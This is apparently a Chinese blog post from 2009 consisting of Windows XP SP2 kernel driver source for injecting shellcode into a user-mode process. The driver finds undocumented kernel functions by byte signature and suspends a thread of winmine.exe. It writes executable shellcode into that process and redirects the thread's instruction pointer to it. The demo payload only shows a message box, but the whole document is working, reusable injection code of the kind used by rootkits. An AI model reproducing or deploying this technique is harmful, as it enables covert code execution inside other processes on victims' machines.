Ring0 注入 Ring3 的一种新方法
/*************************************************************************************** * * 作者: Fypher [[email protected]] * http://hi.baidu.com/nmn714 * * 时间: 2009/12/29 * * 模块: InjectRing3.c [sys module] * * 平台: Windows XP SP2 * * 描述: * Ring0 注入 Ring3 的一种新方法。 * 挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。 * * 注意: * 本程序主要起示例作用,懒得麻烦,所以有些地方使用了一些不太稳定的做法, * 比如在枚举进程和模块时直接读链表。改成ZwQueryXXXX会比较好 * ****************************************************************************************/ #include <ntifs.h> typedef struct _X86_KTRAP_FRAME { ULONG DbgEbp; ULONG DbgEip; ULONG DbgArgMark; ULONG DbgArgPointer; ULONG TempSegCs; ULONG TempEsp; ULONG Dr0; ULONG Dr1; ULONG Dr2; ULONG Dr3; ULONG Dr6; ULONG Dr7; ULONG SegGs; ULONG SegEs; ULONG SegDs; ULONG Edx; ULONG Ecx; ULONG Eax; ULONG PreviousPreviousMode; ULONG ExceptionList; ULONG SegFs; ULONG Edi; ULONG Esi; ULONG Ebx; ULONG Ebp; ULONG ErrCode; ULONG Eip; ULONG SegCs; ULONG EFlags; ULONG HardwareEsp; ULONG HardwareSegSs; ULONG V86Es; ULONG V86Ds; ULONG V86Fs; ULONG V86Gs; } X86_KTRAP_FRAME, *PX86_KTRAP_FRAME; typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; ULONG unknown[4]; ULONG base; ULONG driver_start; ULONG unk1; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; //....... } MODULE_ENTRY, *PMODULE_ENTRY; typedef ULONG (*FuncType)(PETHREAD Thread); FuncType KeSuspendThread = NULL; FuncType KeResumeThread = NULL; //////////////////////////////////////////////// // // 被注入到ring3进程的代码 // //////////////////////////////////////////////// _declspec (naked) void ShellCode() { _asm { push eax // 弹个MessageBox为例 push 0 push 0 push 0 push 0 mov eax, 0x77D66484 // MessageBoxW 的地址,XP SP2 call eax pop eax // jmp ds:12345678H, 绝对地址跳转 _emit 0xEA _emit 0x78 _emit 0x56 _emit 0x34 _emit 0x12 _emit 0x1B _emit 0x00 } } /////////////////////////////////////////////////////// // // 特征码搜索,查找KeSuspendThread和KeResumeThread // /////////////////////////////////////////////////////// ULONG FindFunc(PDRIVER_OBJECT DriverObject){ UNICODE_STRING uniModuleName; PMODULE_ENTRY PsLoadedModuleList,pmcurrent; ULONG ModuleStart = 0, ModuleEnd = 0; ULONG i; ULONG suspend1 = 0x8b55ff8b, suspend2 = 0x0cec83ec, suspend3 = 0x758b5653, suspend4 = 0x8e8d5708; //SP2 ULONG resume1 = 0x8b55ff8b, resume2 = 0x335651ec , resume3 = 0x8815ffc9 , resume4 = 0x8b804d90; //SP2 // 先找ntoskrnl.exe模块,通过ZwQuerySystemInformation来查找更稳定一些 // 不过本人很讨厌那个繁琐的函数…… PsLoadedModuleList = pmcurrent = *((PMODULE_ENTRY*)((ULONG)DriverObject + 0x14)); if (PsLoadedModuleList == NULL){ return FALSE; } RtlInitUnicodeString(&uniModuleName,L"ntoskrnl.exe"); do { if ((pmcurrent->unk1 != 0x00000000) && (pmcurrent->driver_Path.Length != 0)){ if (!RtlCompareUnicodeString(&uniModuleName, &(pmcurrent->driver_Name), FALSE)){ ModuleStart = pmcurrent->base; ModuleEnd = ModuleStart + pmcurrent->unk1; break; } } pmcurrent = (MODULE_ENTRY*)pmcurrent->le_mod.Flink; } while((PMODULE_ENTRY)pmcurrent != PsLoadedModuleList); if(!ModuleStart || !ModuleEnd) { return FALSE; } // 在ntoskrnl.exe中搜索特征码找到KeSuspendThread和KeResumeThread for( i = ModuleStart; i <= ModuleEnd; i++) { if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+12)) ){ if( (*(PULONG)i == suspend1) && (*(PULONG)(i+4) == suspend2) && (*(PULONG)(i+8) == suspend3) && (*(PULONG)(i+12) == suspend4) ) { KeSuspendThread = (FuncType)i; if ( KeResumeThread != NULL ) return TRUE; } else if( (*(PULONG)i == resume1) && (*(PULONG)(i+4) == resume2) && (*(PULONG)(i+8) == resume3) && (*(PULONG)(i+12) == resume4) ) { KeResumeThread = (FuncType)i; if ( KeSuspendThread != NULL ) return TRUE; } } } return FALSE; } ///////////////////////////////////////////////////////////////// //// //// 注入ShellCode到线程,将ShellCode拷贝到“飞地”中, //// 比较方便,避免是分配内存和AttachProcess,但是在非 //// Debug的系统模式下,会引发DEP的强烈不满 //// ///////////////////////////////////////////////////////////////// //VOID InjectShellCode(PETHREAD pThread) { // ULONG i; // PX86_KTRAP_FRAME pTrapFrame; // DbgPrint("Inject Startn"); // // // 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常 // __try { // KeSuspendThread(pThread); // } // __except(1) { // return; // } // // // PTrapFrame中就是该线程的各个寄存器的值 // pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + 0x134); // // // 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回 // for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) { // if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){ // if ( *(PULONG)i == 0x12345678 ) { // DbgPrint("find modify pointn"); // *(PULONG)i = pTrapFrame->Eip; // break; // } // } // } // // // 拷贝ShellCode到“飞地”(使用内核地址) // RtlCopyMemory( (PVOID)0xffdf0800, ShellCode, 0x20 ); // // // pTrapFrame->EIP指向“飞地”(使用用户态地址) // pTrapFrame->Eip = 0x7ffe0800; // // // 恢复线程执行 // KeResumeThread(pThread); // DbgPrint("Inject Endn"); //} /////////////////////////////////////////////////////////////// // // 注入ShellCode到线程,分配内存来拷贝ShellCode // /////////////////////////////////////////////////////////////// VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) { ULONG i; PX86_KTRAP_FRAME pTrapFrame; PCLIENT_ID pCid; OBJECT_ATTRIBUTES oa; HANDLE hProcess; NTSTATUS ntstatus; DbgPrint("Inject Startn"); // 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常 __try { KeSuspendThread(pThread); } __except(1) { return; } // PTrapFrame中就是该线程的各个寄存器的值 pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + 0x134); // 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回 for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) { if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){ if ( *(PULONG)i == 0x12345678 ) { DbgPrint("find modify pointn"); *(PULONG)i = pTrapFrame->Eip; break; } } } // 下面的代码是分配空间来放置ShellCode // 调用一些相应函数来实现更好,我比较懒,就硬编码了 InitializeObjectAttributes(&oa,0,0,0,0); pCid = (CLIENT_ID*)((ULONG)pThread + 0x1ec); // Cid XP SP2 ntstatus = ZwOpenProcess( &hProcess, PROCESS_ALL_ACCESS, &oa, pCid ); if ( NT_SUCCESS(ntstatus) ) { PVOID pBuff = NULL; SIZE_T size = 0x20; ntstatus = NtAllocateVirtualMemory( hProcess, &pBuff, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( NT_SUCCESS(ntstatus) ) { KAPC_STATE kapc; // 拷贝ShellCode到目标进程中去 KeStackAttachProcess(pProcess,&kapc); RtlCopyMemory(pBuff,ShellCode,size); KeUnstackDetachProcess (&kapc); // pTrapFrame->Eip指向ShellCode pTrapFrame->Eip = (ULONG)pBuff; } ZwClose(hProcess); } // 恢复线程执行 KeResumeThread(pThread); DbgPrint("Inject Endn"); } //////////////////////////////////////////////// // // 注入ShellCode到进程 // //////////////////////////////////////////////// VOID Inject(char* strProc, int len) { PEPROCESS pProcess; PETHREAD pThread; PLIST_ENTRY pListHead, pNextEntry; PLIST_ENTRY pThListHead, pThNextEntry; pProcess = PsGetCurrentProcess(); pListHead = (PLIST_ENTRY)((ULONG)pProcess + 0x88); //ActiveProcessLinks pNextEntry = pListHead; // 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些 // 不过本人很讨厌那个繁琐的函数…… do { pProcess = (PEPROCESS)((ULONG)pNextEntry - 0x88); if ( !_strnicmp((char*)pProcess + 0x174, strProc, len) ) { DbgPrint("find processn"); pThListHead = (PLIST_ENTRY)((ULONG)pProcess + 0x190); // ThreadListHead, XP SP2 pThNextEntry = pThListHead->Flink; while ( pThNextEntry != pThListHead) { // 接着查找符合条件的线程 UCHAR SuspendCount; ULONG CrossThreadFlags; pThread = (PETHREAD)((ULONG)pThNextEntry - 0x22c); // ThreadListEntry, XP SP2 SuspendCount = *(PUCHAR)((ULONG)pThread + 0x1b9); CrossThreadFlags = *(PULONG)((ULONG)pThread + 0x248); if( !SuspendCount && !(CrossThreadFlags & 0x13) ) { // 非Suspend,非退出态,非内核线程 DbgPrint("find threadn"); // 注入找到的线程 InjectShellCode(pThread,pProcess); break; } pThNextEntry = pThNextEntry->Flink; } break; } pNextEntry = pNextEntry->Flink; } while(pNextEntry != pListHead); } //////////////////////////////////////////////// // // 驱动卸载历程 // //////////////////////////////////////////////// VOID OnUnload(IN PDRIVER_OBJECT o){ DbgPrint("Fypher's ring3injector end!n"); return; } //////////////////////////////////////////////// // // 驱动加载历程 // //////////////////////////////////////////////// NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath){ char* strProc = "winmine.exe"; DriverObject->DriverUnload=OnUnload; DbgPrint("Fypher's ring3injector start!n"); if ( !FindFunc(DriverObject) ) { DbgPrint("Find KexxxThread failed!n"); return STATUS_UNSUCCESSFUL; } Inject(strProc, strlen(strProc)); return STATUS_SUCCESS; }